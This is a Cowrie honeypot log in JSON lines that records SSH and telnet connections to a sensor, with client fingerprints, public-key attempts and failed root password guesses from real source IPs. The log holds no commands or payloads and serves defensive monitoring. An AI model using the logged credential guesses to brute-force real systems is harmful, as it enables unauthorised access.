{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Accept-Encoding: identity","message":"login attempt [GET / HTTP/1.1/Accept-Encoding: identity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:00.946023Z","src_ip":"185.197.248.131","session":"013008f6adde","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Host: 159.203.135.109:23","password":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)","message":"login attempt [Host: 159.203.135.109:23/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:00.949957Z","src_ip":"185.197.248.131","session":"013008f6adde","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept: text/html,application/json,*/*","password":"Connection: close","message":"login attempt [Accept: text/html,application/json,*/*/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:00.953275Z","src_ip":"185.197.248.131","session":"013008f6adde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.18303155899047852,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:01.124158Z","src_ip":"185.197.248.131","session":"013008f6adde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":51828,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f4245eefdb","protocol":"ssh","message":"New connection: 152.32.171.213:51828 (159.203.135.109:22) [session: e1f4245eefdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:03.107215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:03.117313Z","src_ip":"152.32.171.213","session":"e1f4245eefdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:03.334508Z","src_ip":"152.32.171.213","session":"e1f4245eefdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:03.672612Z","src_ip":"152.32.171.213","session":"e1f4245eefdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47534,"dst_ip":"10.17.0.5","dst_port":22,"session":"163c6e9acaf8","protocol":"ssh","message":"New connection: 27.71.230.31:47534 (10.17.0.5:22) [session: 163c6e9acaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:04.744594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:04.770032Z","src_ip":"27.71.230.31","session":"163c6e9acaf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:06.172550Z","src_ip":"27.71.230.31","session":"163c6e9acaf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin01","message":"login attempt [root/Admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:12.406666Z","src_ip":"27.71.230.31","session":"163c6e9acaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:13.697408Z","src_ip":"27.71.230.31","session":"163c6e9acaf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.113","src_port":6101,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8d9dd738ebd","protocol":"ssh","message":"New connection: 64.62.197.113:6101 (10.17.0.5:22) [session: c8d9dd738ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:27.693354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:27.696967Z","src_ip":"64.62.197.113","session":"c8d9dd738ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:27.773832Z","src_ip":"64.62.197.113","session":"c8d9dd738ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.145.183","src_port":19902,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcec77e7383f","protocol":"telnet","message":"New connection: 185.216.145.183:19902 (159.203.135.109:23) [session: fcec77e7383f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:27.963693Z"}
{"eventid":"cowrie.session.closed","duration":0.14726543426513672,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:28.110854Z","src_ip":"185.216.145.183","session":"fcec77e7383f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.76691389083862,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:28.817481Z","src_ip":"128.199.209.169","session":"0b8c6a93b24e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:31.695744Z","src_ip":"64.62.197.113","session":"c8d9dd738ebd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.25244951248169,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:37.536950Z","src_ip":"94.23.66.112","session":"60808e98b569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38666,"dst_ip":"10.17.0.5","dst_port":23,"session":"9002e6382137","protocol":"telnet","message":"New connection: 172.81.62.90:38666 (10.17.0.5:23) [session: 9002e6382137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:49.714507Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54724,"dst_ip":"159.203.135.109","dst_port":22,"session":"91eda9b94fe7","protocol":"ssh","message":"New connection: 38.93.206.2:54724 (159.203.135.109:22) [session: 91eda9b94fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:53.108286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:53.115309Z","src_ip":"38.93.206.2","session":"91eda9b94fe7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:53.166020Z","src_ip":"38.93.206.2","session":"91eda9b94fe7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28081993","message":"login attempt [root/28081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:53.317252Z","src_ip":"38.93.206.2","session":"91eda9b94fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.21","src_port":15932,"dst_ip":"159.203.135.109","dst_port":23,"session":"f468cd924396","protocol":"telnet","message":"New connection: 5.226.140.21:15932 (159.203.135.109:23) [session: f468cd924396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:53.694978Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:35:54.401474Z","src_ip":"38.93.206.2","session":"91eda9b94fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.08234429359436,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:03.777145Z","src_ip":"5.226.140.21","session":"f468cd924396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40728,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cc6e29a01bf","protocol":"telnet","message":"New connection: 94.23.66.112:40728 (10.17.0.5:23) [session: 7cc6e29a01bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:20.815249Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39846,"dst_ip":"159.203.135.109","dst_port":22,"session":"864b039ece9f","protocol":"ssh","message":"New connection: 27.71.230.31:39846 (159.203.135.109:22) [session: 864b039ece9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:24.800920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:24.816419Z","src_ip":"27.71.230.31","session":"864b039ece9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:25.085133Z","src_ip":"27.71.230.31","session":"864b039ece9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.236.86.20","src_port":32948,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f10628f612a","protocol":"ssh","message":"New connection: 109.236.86.20:32948 (10.17.0.5:22) [session: 1f10628f612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:28.515998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:28.519869Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:28.600481Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:a7:b6:ea:b3:ca:f9:88:c7:72:6f:6a:06:87:e3:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWFDHziC9BePWgbjSVJjFKOnpPuiuTJ6OA6IUCf2w7JHqR3moHO2VfNmZEcT8Dt+99bK80IYDRYCToGEQdnftlx+zqtHet+rQV6UQELmOse6bcvkXml/DSmcxhj9Ml3Z64j8g52KHp3anxUt33TZjhzsAKbE4atI0VKM+UWTbwgeK8IaxNlmOzcOAWbzoPoXH2x9uhroYKCytMDuzJKmhOP6G5FQ9OXOedq+1VIBkqn03cKFbwSXk63Fe4SF/N2sJV6y9mt77VdCSJBEeqyDQZd6iGnzqM6u3p0bDwyakEbL5CcKbcsLL1R7O/Lf1RWy6HVffBmfhM8sVFGmjk//Hd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:a7:b6:ea:b3:ca:f9:88:c7:72:6f:6a:06:87:e3:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:28.985573Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:a7:b6:ea:b3:ca:f9:88:c7:72:6f:6a:06:87:e3:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWFDHziC9BePWgbjSVJjFKOnpPuiuTJ6OA6IUCf2w7JHqR3moHO2VfNmZEcT8Dt+99bK80IYDRYCToGEQdnftlx+zqtHet+rQV6UQELmOse6bcvkXml/DSmcxhj9Ml3Z64j8g52KHp3anxUt33TZjhzsAKbE4atI0VKM+UWTbwgeK8IaxNlmOzcOAWbzoPoXH2x9uhroYKCytMDuzJKmhOP6G5FQ9OXOedq+1VIBkqn03cKFbwSXk63Fe4SF/N2sJV6y9mt77VdCSJBEeqyDQZd6iGnzqM6u3p0bDwyakEbL5CcKbcsLL1R7O/Lf1RWy6HVffBmfhM8sVFGmjk//Hd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:28.988445Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:f9:db:1f:f1:57:91:0c:f1:ce:c9:3f:63:c6:45:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDehVBlRgT1l6tmMlhPxdwsqcqBhoydMtIbx8IPqpckO0GEaPlhEiVCnjdZmsxfAUz8t0TWFTQELFnoN5scktAAXLIDBy+NXB5aBDrkwySAH1oTKvlBphYXyBF+Ezwspyod6romb1vqdtxYbpqutdO3vs9X3wKKIf+buaLmII4XYqOwiJjpJeOVbOSyIUgye0fcruzYf6DOqyHzhCkC8+ArBTIvrFsv96PA2+/TUFowacEC32KIrIrOWN96L/mFhrhvCZggoypCkLZIg9BSgjDqfiMZmmRJatIO+DpA2ipqz+0xgYPz1S7C4WlOZpEfJeXcpqqEUb8SyWK9DEe0qh51","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:f9:db:1f:f1:57:91:0c:f1:ce:c9:3f:63:c6:45:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.070367Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:f9:db:1f:f1:57:91:0c:f1:ce:c9:3f:63:c6:45:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDehVBlRgT1l6tmMlhPxdwsqcqBhoydMtIbx8IPqpckO0GEaPlhEiVCnjdZmsxfAUz8t0TWFTQELFnoN5scktAAXLIDBy+NXB5aBDrkwySAH1oTKvlBphYXyBF+Ezwspyod6romb1vqdtxYbpqutdO3vs9X3wKKIf+buaLmII4XYqOwiJjpJeOVbOSyIUgye0fcruzYf6DOqyHzhCkC8+ArBTIvrFsv96PA2+/TUFowacEC32KIrIrOWN96L/mFhrhvCZggoypCkLZIg9BSgjDqfiMZmmRJatIO+DpA2ipqz+0xgYPz1S7C4WlOZpEfJeXcpqqEUb8SyWK9DEe0qh51","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:36:29.073816Z","src_ip":"109.236.86.20","session":"1f10628f612a","protocol":"ssh"}
